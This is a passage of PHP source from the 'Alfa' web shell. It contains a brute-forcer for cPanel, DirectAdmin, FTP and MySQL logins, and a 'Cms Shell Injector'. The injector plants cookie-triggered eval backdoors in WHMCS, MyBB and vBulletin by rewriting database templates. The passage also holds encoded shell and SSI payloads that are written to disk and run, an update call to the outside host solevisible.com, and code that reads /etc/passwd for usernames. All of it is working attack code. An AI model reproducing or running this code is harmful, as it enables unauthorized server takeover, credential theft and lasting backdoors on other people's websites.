CURLOPT_SSL_VERIFYHOST,0);\r\ncurl_setopt($curl, CURLOPT_HEADER,0);\r\ncurl_setopt($curl, CURLOPT_RETURNTRANSFER,1);\r\ncurl_setopt($curl, CURLOPT_HTTPHEADER, array("Authorization: Basic " . __ZW5jb2Rlcg($info[\'username\'].":".$info[\'password\']) . "\\n\\r"));\r\ncurl_setopt($curl, CURLOPT_URL, $url);\r\n$result = @curl_exec($curl);\r\n$curl_errno = curl_errno($curl);\r\n$curl_error = curl_error($curl);\r\nif ($curl_errno > 0) {echo "<font color=\'red\'>Error: $curl_error</font><br>";}\r\nelseif(preg_match(\'/filemanager/i\',$result)){\r\necho \'UserName: <font color="red">\'.$info[\'username\'].\'</font> PassWord: <font color="red">\'.$info[\'password\'].\'</font><font color="green"> Login Success....</font><br>\';\r\n$info[\'target\'] = $url;\r\nCrackerResualt($info);\r\n}\r\ncurl_close($curl);\r\n}\r\nfunction Alfa_FTP_Cracker($info){\r\n$url = $info[\'protocol\'].$info[\'target\'];\r\n$curl = curl_init();\r\ncurl_setopt($curl, CURLOPT_URL, $url);\r\ncurl_setopt($curl, CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0\');\r\ncurl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);\r\ncurl_setopt($curl, CURLOPT_USERPWD, "".$info[\'username\'].":".$info[\'password\']."");\r\n$result = @curl_exec($curl);\r\n$curl_errno = curl_errno($curl);\r\n$curl_error = curl_error($curl);\r\nif ($curl_errno > 0) {echo "<font color=\'red\'>Error: $curl_error</font><br>";}\r\nelseif(preg_match(\'/(\\d+):(\\d+)/i\',$result)){\r\necho \'UserName: <font color="red">\'.$info[\'username\'].\'</font> PassWord: <font color="red">\'.$info[\'password\'].\'</font><font color="green"> Login Success....</font><br>\';\r\n$info[\'target\'] = $url;\r\nCrackerResualt($info);\r\n}\r\ncurl_close($curl);\r\n}\r\nfunction Alfa_Mysql_Cracker($info){\r\nif(@mysqli_connect($info[\'target\'].\':\'.$info[\'port\'],$info[\'username\'],$info[\'password\'])){\r\nCrackerResualt($info);\r\necho \'UserName: <font color="red">\'.$info[\'username\'].\'</font> PassWord: <font color="red">\'.$info[\'password\'].\'</font><font color="green"> Login Success....</font><br>\';\r\n}\r\n}\r\nfunction Alfa_FTPC($info){\r\nif($con=@ftp_connect($info[\'target\'],$info[\'port\'])){\r\nif($con){\r\n$login=@ftp_login($con,$info[\'username\'],$info[\'password\']);\r\nif($login){CrackerResualt($info);}}}\r\n@ftp_close($con);\r\n}\r\nfunction CrackerResualt($info){\r\n$res = $info[\'target\'].\' => \'.$info[\'username\'].":".$info[\'password\']."\\n" ;\r\n$c = @fopen($info[\'fcrack\'],\'a+\');\r\n@fwrite($c, $res);\r\n@fclose($c);\r\n}\r\nfunction Alfa_Call_Function_Cracker($method,$info){\r\nswitch($method){case \'cp\':return Alfa_CP_Cracker($info);break;case \'direct\': case \'phpmyadmin\':return Alfa_DirectAdmin_Cracker($info);break;case \'ftp\':return Alfa_FTP_Cracker($info);break;case \'mysql\':return Alfa_Mysql_Cracker($info);break;case \'mysql\':return Alfa_FTPC($info);break;}\r\n}\r\nfunction alfaCrackers(){\r\nalfahead();\r\nAlfaNum(9,10);\r\necho \'<div class="header"><center><br><div class="txtfont_header">| Brute Forcer |</div><br><br><form method="post" onsubmit="g(\\\'Crackers\\\',null,this.target.value,this.port.value,this.usernames.value,this.passwords.value,this.fcrack.value,\\\'start\\\',this.protocol.value,this.loginpanel.value);return false;"><div class="txtfont">Login Page: <select onclick="dis_input(this.value);" name="loginpanel">\';\r\nforeach(array(\'cp\'=>\'Cpanel\',\'direct\'=>\'DirectAdmin\',\'ftp\'=>\'FTP\',\'phpmyadmin\'=>\'PhpMyAdmin[DirectAdmin]\',\'mysql\'=>\'mysql_connect()\',\'ftpc\'=>\'ftp_connect()\') as $key=>$val)echo(\'<option value="\'.$key.\'">\'.$val.\'</option>\');\r\necho \'</select> Protocol: <select id="protocol" name="protocol">\';\r\nforeach(array(\'https://\',\'http://\',\'ftp://\') as $val)echo(\'<option value="\'.$val.\'">\'.$val.\'</option>\');\r\necho \'</select> Website/ip Address: <input id="target" type="text" name="target" value="localhost">\r\nPort: <input id="port" type="text" name="port" value="2083">\r\n<table width="30%"><td align="center">Users List</td><td align="center">Passwords</td></table>\r\n<textarea placeholder="Users" rows="20" cols="25" name="usernames">\'.($GLOBALS[\'sys\']==\'unix\'?alfaEx("cut -d: -f1 /etc/passwd"):"").\'</textarea>\r\n  <textarea placeholder="Passwords" rows="20" cols="25" name="passwords"></textarea><br><br>\r\nSave Result Into File <input type="text" name="fcrack" value="cracked.txt">\r\n<p><input type="submit" name="cracking" value=" " /></div></form></p><center>\';\r\n$target = str_replace(array(\'https://\',\'http://\',\'ftp://\'),\'\',$_POST[\'alfa1\']);\r\n$port = $_POST[\'alfa2\'];\r\n$usernames= $_POST[\'alfa3\'];\r\n$passwords = $_POST[\'alfa4\'];\r\n$fcrack = $_POST[\'alfa5\'];\r\n$cracking = $_POST[\'alfa6\'];\r\n$protocol = $_POST[\'alfa7\'];\r\n$loginpanel = $_POST[\'alfa8\'];\r\n$p = $loginpanel == \'phpmyadmin\' ? $p = true : false;\r\nif($cracking==\'start\'){\r\necho __pre();\r\n$exuser = explode("\\n",$usernames);\r\n$expw = explode("\\n",$passwords);\r\nforeach($exuser as $user){\r\nforeach($expw as $pw){\r\n$array = array(\'username\' => trim($user),\'password\' => trim($pw),\'port\' => trim($port),\'target\' => trim($target),\'protocol\' => trim($protocol),\'fcrack\' => trim($fcrack),\'mysql\' => $p);\r\nAlfa_Call_Function_Cracker($loginpanel,$array);\r\n}\r\n}\r\necho \'<br><font color="red">Attack Finished...</font>\';\r\n}\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction output($string){ echo "<br><pre id=\\"strOutput\\" style=\\"margin-top:5px\\" class=\\"ml1\\"><br><center><font color=red><a target=\'_blank\' href=\'".$string."\'>Click Here !</a></font></b></center><br><br>";}\r\nfunction alfaShellInjectors(){\r\nalfahead();\r\necho \'<div class=header>\';\r\nAlfaNum(11);\r\necho \'<center><p><div class="txtfont_header">| Cms Shell Injector |</div></p><center><h3><a href=javascript:void(0) onclick="g(\\\'ShellInjectors\\\',null,\\\'whmcs\\\',null)">| WHMCS | </a><a href=javascript:void(0) onclick="g(\\\'ShellInjectors\\\',null,null,\\\'mybb\\\')">| MyBB | </a><a href=javascript:void(0) onclick="g(\\\'ShellInjectors\\\',null,null,null,\\\'vb\\\')">| vBulletin |</a></h3></center>\';\r\n$selector = \'<p><div class="txtfont">Shell Inject Method : </div> <select name="method" style="width:100px;"><option value="auto">AutoMatic</option><option value="man">Manuel</option></select></p>\';\r\nif(isset($_POST[\'alfa1\']) && $_POST[\'alfa1\']== \'whmcs\'){\r\nAlfaNum();\r\necho __pre()."<p><div class=\'txtfont_header\'>| WHMCS |</div></p><center><center><p>".getConfigHtml(\'whmcs\')."</p><form onSubmit=\\"g(\'ShellInjectors\',null,\'whmcs\',null,null,this.method.value,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.path.value); return false;\\" method=\'post\'>";\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Path WHMCS Url : \', \'inputName\' => \'path\', \'inputValue\' => \'http://site.com/whmcs\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host : \', \'inputName\' => \'dbh\', \'id\' => \'db_host\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name : \', \'inputName\' => \'dbn\', \'id\' => \'db_name\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User : \', \'inputName\' => \'dbu\', \'id\' => \'db_user\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass : \', \'inputName\' => \'dbp\', \'id\' => \'db_pw\', \'inputValue\' => \'\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho $selector;\r\necho "<p><input type=\'submit\' value=\' \'></p></form></center></td></tr></table></center>";\r\nif(isset($_POST[\'alfa6\'])) {\r\n$dbu = $_POST[\'alfa6\'];\r\n$dbn = $_POST[\'alfa7\'];\r\n$dbp = $_POST[\'alfa8\'];\r\n$dbh = $_POST[\'alfa9\'];\r\n$path = $_POST[\'alfa10\'];\r\n$method = $_POST[\'alfa4\'];\r\n$index = "{php}".ALFA_UPLOADER.";{/php}";\r\n$newin = str_replace("\'","\\\'",$index);\r\n$newindex = "<p>Dear $newin,</p><p>Recently a request was submitted to reset your password for our client area. If you did not request this, please ignore this email. It will expire and become useless in 2 hours time.</p><p>To reset your password, please visit the url below:<br /><a href=\\"{\\$pw_reset_url}\\">{\\$pw_reset_url}</a></p><p>When you visit the link above, your password will be reset, and the new password will be emailed to you.</p><p>{\\$signature}</p>{php}if(\\$_COOKIE[\\"sec\\"] == \\"123\\"){eval(base64_decode(\\$_COOKIE[\\"sec2\\"])); die(\\"!\\");}{\\/php}";\r\nif(!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($index)){\r\nif(filter_var($path,FILTER_VALIDATE_URL)){\r\n$conn = mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_connect_error());\r\n$soleSave= mysqli_query($conn,"select message from tblemailtemplates where name=\'Password Reset Validation\'");\r\n$soleGet = mysqli_fetch_assoc($soleSave);\r\n$tempSave1 = $soleGet[\'message\'];\r\n$tempSave = str_replace("\'","\\\'",$tempSave1);\r\nmysqli_query($conn,"UPDATE tblconfiguration SET value = \'1\' WHERE setting = \'AllowSmartyPhpTags\'") or die (mysqli_error($conn));\r\n$inject = "UPDATE tblemailtemplates SET message=\'$newindex\' WHERE name=\'Password Reset Validation\'";\r\n$result = mysqli_query($conn,$inject) or die (mysqli_error($conn));\r\n$create = "insert into tblclients (email) values(\'solevisible@fbi.gov\')";\r\n$result2 = mysqli_query($conn,$create) or die (mysqli_error($conn));\r\nif(function_exists(\'curl_version\') && $method == \'auto\'){\r\n$AlfaSole = new AlfaCURL(true);\r\n$saveurl = $AlfaSole->Send($path."/pwreset.php");\r\n$getToken = preg_match("/name=\\"token\\" value=\\"(.*?)\\"/i",$saveurl,$token);\r\n$AlfaSole->Send($path."/pwreset.php","post","token={$token[1]}&action=reset&email=solevisible@fbi.gov");\r\n$backdata = "UPDATE tblemailtemplates SET message=\'{$tempSave}\' WHERE name=\'Password Reset Validation\'";\r\n$Solevisible = mysqli_query($conn,$backdata) or die (mysqli_error($conn));\r\n__alert("shell injectet...");\r\n$ff= \'http://\'.$path."/solevisible.php";\r\noutput($ff);}else{\r\necho "<br><pre id=\\"strOutput\\" style=\\"margin-top:5px\\" class=\\"ml1\\"><br><center><b><font color=\\"#FFFFFF\\">Please go to Target => </font><a href=\'".$path."/pwreset.php\' target=\'_blank\'>".$path."/pwreset.php</a><br/><font color=\'#FFFFFF\'> And Reset Password With Email</font> => <font color=red>solevisible@fbi.gov</font><br/><font color=\'#FFFFFF\'>And Go To => </font><a href=\'".$path."/solevisible.php\' target=\'_blank\'>".$path."/solevisible.php</a></b></center><br><br>";}}else{__alert(\'Path is not Valid...\');}}}\r\n}if(isset($_POST[\'alfa2\']) && $_POST[\'alfa2\']== \'mybb\'){\r\nAlfaNum(1,2,3,5);\r\necho __pre()."<p><div class=\'txtfont_header\'>| MyBB |</div></p><center><center>".getConfigHtml("mybb")."<form id=\'sendajax\' onSubmit=\\"g(\'ShellInjectors\',null,null,\'mybb\',null,this.method.value,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.prefix.value); return false;\\" method=POST>\r\n";\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Host : \', \'inputName\' => \'dbh\', \'id\'=>\'db_host\',\'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'DataBase Name : \', \'inputName\' => \'dbn\', \'id\'=>\'db_name\' ,\'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'User Name : \', \'inputName\' => \'dbu\', \'id\'=>\'db_user\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Password : \', \'inputName\' => \'dbp\', \'id\'=>\'db_pw\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix : \', \'inputName\' => \'prefix\', \'id\'=>\'db_prefix\',\'inputValue\' => \'mybb_\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho $selector;\r\necho "<p><input type=submit value=\' \'></p></form></center></center>";\r\nif(isset($_POST[\'alfa6\'])) {\r\n$dbu = $_POST[\'alfa6\'];\r\n$dbn = $_POST[\'alfa7\'];\r\n$dbp = $_POST[\'alfa8\'];\r\n$dbh = $_POST[\'alfa9\'];\r\n$prefix = $_POST[\'alfa10\'];\r\n$method = $_POST[\'alfa4\'];\r\n$shellCode = "{\\${".ALFA_UPLOADER."}}";\r\n$newinshell = str_replace("\'","\\\'",$shellCode);\r\nif (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($newinshell)){\r\n$conn = mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));\r\n$inject = "select template from {$prefix}templates where title= \'calendar\'";\r\n$result = mysqli_query($conn, $inject) or die (mysqli_error($conn));\r\n$GetTemp = mysqli_fetch_assoc($result);\r\n$saveDate = $GetTemp[\'template\'];\r\n$repsave = str_replace($shellCode,"",$saveDate);\r\n$repsave = str_replace("\'","\\\'",$repsave);\r\n$createShell = "update {$prefix}templates SET template= \'".$newinshell.$repsave."\' where title = \'calendar\'";\r\n$result2 = mysqli_query($conn,$createShell) or die (mysqli_error($conn));\r\n$geturl = "select value from {$prefix}settings where name= \'bburl\'";\r\n$findurl = mysqli_query($conn,$geturl) or die (mysqli_error($conn));\r\n$rowb = mysqli_fetch_assoc($findurl);\r\n$furl = $rowb[\'value\'];\r\n$realurl = parse_url($furl,PHP_URL_HOST);\r\n$realpath = parse_url($furl,PHP_URL_PATH);\r\n$res = false;\r\n$AlfaCurl = new AlfaCURL();\r\nif (extension_loaded(\'sockets\') && function_exists(\'fsockopen\') && $method == \'auto\' ){\r\nif ($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)){\r\n@fputs($fsock, "GET $realpath/calendar.php HTTP/1.1\\r\\n");\r\n@fputs($fsock, "HOST: $realurl\\r\\n");\r\n@fputs($fsock, "Connection: close\\r\\n\\r\\n");\r\n$check = fgets($fsock);\r\nif(preg_match("/200 OK/i",$check)){\r\n$repairdbtemp = "update {$prefix}templates SET template= \'$repsave\' where title = \'calendar\'";\r\n$clear = mysqli_query($conn,$repairdbtemp) or die (mysqli_error($conn));$res = true;}\r\n@fclose($fsock);}}elseif(function_exists(\'curl_version\') && $method == \'auto\'){\r\n$AlfaCurl->Send($realurl.$realpath."/calendar.php");\r\n$res = true;\r\n}\r\nif($res){\r\n$ff = \'http://\'.$realurl.$realpath."/solevisible.php";\r\noutput($ff);\r\n}else{\r\n$ff = \'http://\'.$realurl.$realpath."/calendar.php";\r\n$fff = \'http://\'.$realurl.$realpath."/solevisible.php";\r\necho "<br><pre id=\'strOutput\' style=\'margin-top:5px\' class=\'ml1\'><br><center><b><font color=\'#FFFFFF\'>Please Go To Target => </font><a href=\'".$ff."\' target=\'_blank\'>".$ff."</a><br/><font color=\'#FFFFFF\'>And Go To => </font><a href=\'".$fff."\' target=\'_blank\'>".$fff."</a></b></center><br><br>";\r\n}}}}\r\nif(isset($_POST[\'alfa3\']) && $_POST[\'alfa3\']== \'vb\'){\r\nAlfaNum(1,2,7,9,10);\r\necho __pre().\'<p><div class="txtfont_header">| vbulletin |</div></p><p>\'.getConfigHtml(\'vb\').\'</p><form name="frm" method="POST" onsubmit="g(\\\'ShellInjectors\\\',null,null,this.lo.value,\\\'vb\\\',this.user.value,this.pass.value,this.tab.value,this.db.value,this.method.value); return false;">\';\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Host : \', \'inputName\' => \'lo\', \'id\'=>\'db_host\',\'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'DataBase Name : \', \'inputName\' => \'db\', \'id\'=>\'db_name\',\'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'User Name : \', \'inputName\' => \'user\', \'id\'=>\'db_user\',\'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Password : \', \'inputName\' => \'pass\', \'id\'=>\'db_pw\',\'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix : \', \'inputName\' => \'tab\', \'id\'=>\'db_prefix\',\'inputValue\' => \'\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho $selector;\r\necho \'<p><input type="submit" value=" " /></p></form></center>\';\r\nif(isset($_POST[\'alfa4\'])&&!empty($_POST[\'alfa4\'])){\r\n$method = $_POST[\'alfa8\'];\r\n$faq_name = "faq";\r\n$faq_file = "/faq.php";\r\n$code = "{\\${".ALFA_UPLOADER."}}{\\${exit()}}&";\r\n$conn=@mysqli_connect($_POST[\'alfa2\'],$_POST[\'alfa4\'],$_POST[\'alfa5\'],$_POST[\'alfa7\']) or die(@mysqli_connect_error());\r\n$rec = "select `template` from ".$_POST[\'alfa6\']."template WHERE title =\'".$faq_name."\'";\r\n$recivedata = @mysqli_query($conn,$rec);\r\n$getd = @mysqli_fetch_assoc($recivedata);\r\n$savetoass = $getd[\'template\'];\r\nif(empty($savetoass)){\r\n\t$faq_name = "header";\r\n\t$faq_file = "/";\r\n\t$rec = "select `template` from ".$_POST[\'alfa6\']."template WHERE title =\'".$faq_name."\'";\r\n\t$recivedata = @mysqli_query($conn,$rec);\r\n\t$getd = @mysqli_fetch_assoc($recivedata);\r\n\t$savetoass = $getd[\'template\'];\r\n\t$code = ALFA_UPLOADER.";";\r\n}\r\n$code = str_replace("\'","\\\'",$code);\r\n$p = "UPDATE ".$_POST[\'alfa6\']."template SET `template`=\'".$code."\' WHERE `title`=\'".$faq_name."\'";\r\n$ka= @mysqli_query($conn,$p) or die(mysqli_error($conn));\r\n$geturl = @mysqli_query($conn,"select `value` from ".$_POST[\'alfa6\']."setting WHERE `varname`=\'bburl\'");\r\n$getval = @mysqli_fetch_assoc($geturl);\r\n$saveval = $getval[\'value\'];\r\nif($faq_name == "header"){\r\n\tif(substr($saveval, -5, 5) == "/core"){\r\n\t\t$saveval = substr($saveval, 0, -5);\r\n\t}\r\n}\r\n$realurl = parse_url($saveval,PHP_URL_HOST);\r\n$realpath = parse_url($saveval,PHP_URL_PATH);\r\n$res = false;\r\n$AlfaCurl = new AlfaCURL();\r\nif(extension_loaded(\'sockets\') && function_exists(\'fsockopen\') && $method == \'auto\'){\r\nif($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)){\r\n@fputs($fsock, "GET $realpath.$faq_file HTTP/1.1\\r\\n");\r\n@fputs($fsock, "HOST: $realurl\\r\\n");\r\n@fputs($fsock, "Connection: close\\r\\n\\r\\n");\r\n$check = fgets($fsock);\r\nif(preg_match("/200 OK/i",$check)){\r\n$p1 = "UPDATE ".$_POST[\'alfa6\']."template SET template =\'".mysqli_real_escape_string($conn,$savetoass)."\' WHERE title =\'".$faq_name."\'";\r\n$ka1= @mysqli_query($conn,$p1) or die(mysqli_error($conn));\r\n$res = true;\r\n}\r\n@fclose($fsock);\r\n}\r\n}elseif(function_exists(\'curl_version\') && $method == \'auto\'){\r\n$AlfaCurl->Send($realurl.$realpath.$faq_file);\r\n$p1 = "UPDATE ".$_POST[\'alfa6\']."template SET template =\'".mysqli_real_escape_string($conn,$savetoass)."\' WHERE title =\'".$faq_name."\'";\r\n$ka1= @mysqli_query($conn,$p1) or die(mysqli_error($conn));\r\n$res = true;\r\n}\r\nif($res){\r\n$ff = \'http://\'.$realurl.$realpath."/solevisible.php";\r\noutput($ff);\r\n}else{\r\n$ff = \'http://\'.$realurl.$realpath.$faq_file;\r\n$fff = \'http://\'.$realurl.$realpath."/solevisible.php";\r\necho "<center><p><font color=\\"#FFFFFF\\">First Open This Link => </font><a href=\'".$ff."\' target=\'_blank\'>".$ff."</a><br/><font color=\\"#FFFFFF\\">Second Open This Link => </font><a href=\'".$fff."\' target=\'_blank\'>".$fff."</a></center></p>";}}}\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction alfacheckfiletype(){\r\n\t$path = $_POST[\'path\'];\r\n\t$arg = $_POST[\'arg\'];\r\n\tif(@is_file($path.\'/\'.$arg)){\r\n\t\techo("file");\r\n\t}else{\r\n\t\techo("dir");\r\n\t}\r\n}\r\nfunction alfacheckupdate(){\r\n\tif($GLOBALS["DB_NAME"]["cgi_api"]){\r\n\t\tif(!isset($_COOKIE["alfacgiapi_mode"])&&!isset($_COOKIE["alfacgiapi"])){\r\n\t\t\t_alfa_cgicmd("whoami","perl",true);\r\n\t\t\tif(strlen(alfaEx("whoami",false,$cgi))>0){\r\n\t\t\t\t__alfa_set_cookie("alfa_canruncmd", "true");\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tif(function_exists("curl_version")){\r\n\t\t$update = new AlfaCURL();\r\n\t\t$json = $update->Send("http://solevisible.com/update.json?ver=".__ALFA_VERSION__);\r\n\t\t$json = @json_decode($json,true);\r\n\t\t$data = array();\r\n\t\tif($json){\r\n\t\t\tif(!isset($_COOKIE[\'alfa_checkupdate\']) && !empty($json["type"])){\r\n\t\t\t\tif($json["type"] == "update"){\r\n\t\t\t\t\tif(__ALFA_VERSION__ != $json[\'version\'] || __ALFA_UPDATE__ != $json[\'version_number\']){\r\n\t\t\t\t\t\t@setcookie("alfa_checkupdate", "1", time()+86400);\r\n\t\t\t\t\t\t$data["content"] = \'<div class="update-holder">\'.$json["content"].\'</div>\';\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif(isset($json["ads"]) && !empty($json["ads"])){\r\n\t\t\t\t$data["content"] .= $json["ads"];\r\n\t\t\t}\r\n\t\t\tif(isset($json["copyright"]) && !empty($json["copyright"])){\r\n\t\t\t\t$data["copyright"] = $json["copyright"];\r\n\t\t\t}\r\n\t\t\tif(isset($json["solevisible"]) && !empty($json["solevisible"])){\r\n\t\t\t\t$data["solevisible"] = $json["solevisible"];\r\n\t\t\t}\r\n\t\t\tif(isset($json["code_name"]) && !empty($json["code_name"])){\r\n\t\t\t\t$data["code_name"] = $json["code_name"];\r\n\t\t\t\t$data["version_number"] = __ALFA_VERSION__;\r\n\t\t\t}\r\n\t\t\tif(isset($json["market"]) && !empty($json["market"])){\r\n\t\t\t\t$data["market"] = $json["market"];\r\n\t\t\t}\r\n\t\t\techo @json_encode($data);\r\n\t\t}\r\n\t}\r\n}\r\nfunction alfaWriteTocgiapi($name, $source){\r\n\t$temp = "";\r\n\t$not_api = array("basedir.alfa", "getdir.alfa", "getheader.alfa");\r\n\tif(in_array($name, $not_api)){\r\n\t\t$temp = ALFA_TEMPDIR;\r\n\t\tif($temp){\r\n\t\t\t@chdir($temp);\r\n\t\t}\r\n\t}else{\r\n\t\talfaCreateParentFolder();\r\n\t\t@chdir($GLOBALS[\'home_cwd\'] . "/" . __ALFA_DATA_FOLDER__);\r\n\t}\r\n\t@mkdir(\'alfacgiapi\',0755);\r\n\t__write_file("alfacgiapi/".$name, __get_resource($source));\r\n\t@chmod("alfacgiapi/".$name, 0755);\r\n\treturn $temp;\r\n}\r\nfunction alfacheckcgi(){if(strlen(alfaEx("id",false,true,true))>0)echo("ok");else echo("no");}\r\nfunction alfaupdateheader(){\r\n\tif(!isset($_COOKIE["updateheader_data"])){\r\n\t\t$bash = "zZRdb9owFIavya849dIGJLK0vVyFNFTohERBgtFdQIRM4hAL40R2UkYp/312gPARqLqbaYnyIfs8x+85r+UvV04qhTOh3JGhMeg3nwbtWnnqecDUoz8+zPGMQBzGEBPBIF4mYcRBpJMlJFjA9I3GMNm+MAvwPXCFRR5OCMiU+pqqGI3ur067W280e/1aeTElCQQk8UJgS/4bGOUzCV6q0usZtojtORUiEhWDeGEENgFrhVJJgpShb8ORZxlBJIAC5WCuNqqH3931A/iRAepahNQLa2Y5+4JJK0ZpOIQrsN8AmdkgAteFmxvY5R8hk45Q1VK5q4YfcZKvjEbqdqsjD+3FID9acBZhn4iinoNS/62olOM5UXqQZZazf7AxvKu+JmB7d/bd/W3FyiDrEJJEUH9LyQTrWEDXKQzhegAuUtpu0RluKqI0PgNONfjjA9CP5phyqUE98dLq/RzU2+NG97ne6vRryFH7wnmlIkkxczbBqtlESGR06s/Nxvix23nahuki/a9exANkvNTbrXq/mWfAjGJJpKNneuMMVVOvWGwoNU4DUAbobponKrQRD5CEhBulbZT4OKq0K9As48UMrGansYoF5Ql0emsLTtEK7PqgLYQSYftljhpwYQ0mC3HvsPDAZseZjxKb+/79jfQ9VcgtyQGOHrFiegT7aguc2ANuRgTUyAWRgiC99XNDtm4Wx7deXrLogLvQt4OYsz07duP8isWUedB/7sOnXbgs9KT2w6CzxW/0fX6baH35ceGu1SnxBw==";\r\n\t\t$realdir = addslashes(dirname($_SERVER["SCRIPT_FILENAME"]));\r\n\t\t$tmp_path = alfaWriteTocgiapi("getheader.alfa",$bash);\r\n\t\t$data = alfaEx("cd \'{$tmp_path}/alfacgiapi\';sh getheader.alfa",false,true,true);\r\n\t\tif(@is_array(@json_decode($data,true))){\r\n\t\t\t__alfa_set_cookie("updateheader_data", $data);\r\n\t\t\techo $data;\r\n\t\t}\r\n\t}else{\r\n\t\techo $_COOKIE["updateheader_data"];\r\n\t}\r\n}\r\nfunction alfassiShell(){\r\nalfahead();\r\necho \'<div class=header>\';\r\nalfaCreateParentFolder();\r\n@chdir($GLOBALS[\'home_cwd\'] . "/" . __ALFA_DATA_FOLDER__);\r\n@mkdir(\'alfa_shtml\',0755);\r\n@chdir(\'alfa_shtml\');\r\nalfacgihtaccess(\'shtml\');\r\n$code = \'rVb9b9s2EP1Xrky22MhsKcu6ptbH0A+vzYbCXeztl6YoZImS2VCkQFJOvCX/+46SrChOnKRBA8ORyOPju3ePR/vPBoOdWIqUZUCVynUWkE9jpaT6TAaD0O9Ma/YvTXMTkPnKUN3OshToRaEC0jslu+9ns49f3kwmfx6PTwkEcEpOSR8uL8FOnoz/+ns8nX35MJ69n7zF+Wc24N14hjEE1niaGlhGiKcXnOATL2lAuIYBj66DKNf03hVdJterRIJs8Q2+C/OPk+kW6kzELXVnOLzjQ03sFJHW58lDSXWwNpOCzawWJuehv6BREvqGGU7DVzyNYEajHKbTY5guKOe+U0/5OlasMMAjkZVRhlS/RsuoHiRhWorYMCkgkcz0IJcJhT78x9IejsRlToUZxlKeMWrFIMROIl+oxzQquBE21AW3SMTDWC+VqmfzA4aRrof//PXSIaciMwsP9vcZ9Dc3C9Zhn3DNZ9hHPCwiU1QHs0X5E7gH8Eck4ODlCxdcd1R94N2HGfGubkO1Ixk1Y07t4+vVcbJOd1jJ7rVRXMaR1WSoKJdR0ut7V61MRmYZpz1giVViO7KdH2qz4nSYMJQkWiGP3jeFo9xCCor2/A3IHEmdERg1Y96V79QlDH2nNsJcJiuQwjIOyLaN9mKZ55FI9vrDFEM05kZgnsWSS/Tgjlv9EYg4E2fYAVAWNGXnBbdRoZ+wZejHiEnxZXEY+qkUBtYgz1/G8eEhCS/hDlfCpe/YaEsbFzprFAvbPod+2WDaZhSQ/QOCmcWcxcijqcAeFcs9y75SLSBxqbRUo0IyC+JVZEaKJh4Jx2LJlLQaABOpbAngJs68wwHTwkIEBJFb2KYaI6t6A7rz64tXr9/+7jViFIrWR7lQdmuxtEfbqUbttFOJVX/f0u5xmWK/e2Smb+rqAh470HUT2JJrTchmjLXOBKJWEwTOWWIWATlw3R/QGVIlFGuKlrDCVI23YTGP4rNMyVIkg0aW2jzezZ57/31QNcUbEt9sdY3E8w2H1QWwhUXK0Fi6TXUejn4Uc1143W8EUDnk1CwkJoKnwuqsy3nOjD0t2LGuj4atLBNFacCsCkzV0AsMrwt01EjRBJOwge/G17DtzXBSCgR0LIFbPt8o/WaCJ1SX3HQyu3lgLLFI0ahzgukv1E2OKiSNVfwZQZU8t4/PSXP9XNAY4jwJdrGc1T3krHHwaql8AX5r129zKl5ij3TqpKCqarIaUSBlnOoHz2V1RT7Srt/JpfXdX9m0Rny6Wf9h9LxKFHrYjkwZcexGMS8T2h91KvyQdQup7/Du0gLf69wjt9KwCnySa7flNUX0BxLYtrTSL7X0oJEk2EVNrJj1yuonaNf+T3Z9I/WtfTrmv9WuHXul2ovK/tz6Hw==\';\r\n@__write_file(\'alfa_ssi.shtml\',__get_resource($code));\r\n@chmod("alfa_ssi.shtml",0755);\r\necho AlfaiFrameCreator(\'alfa_shtml/alfa_ssi.shtml\');\r\necho 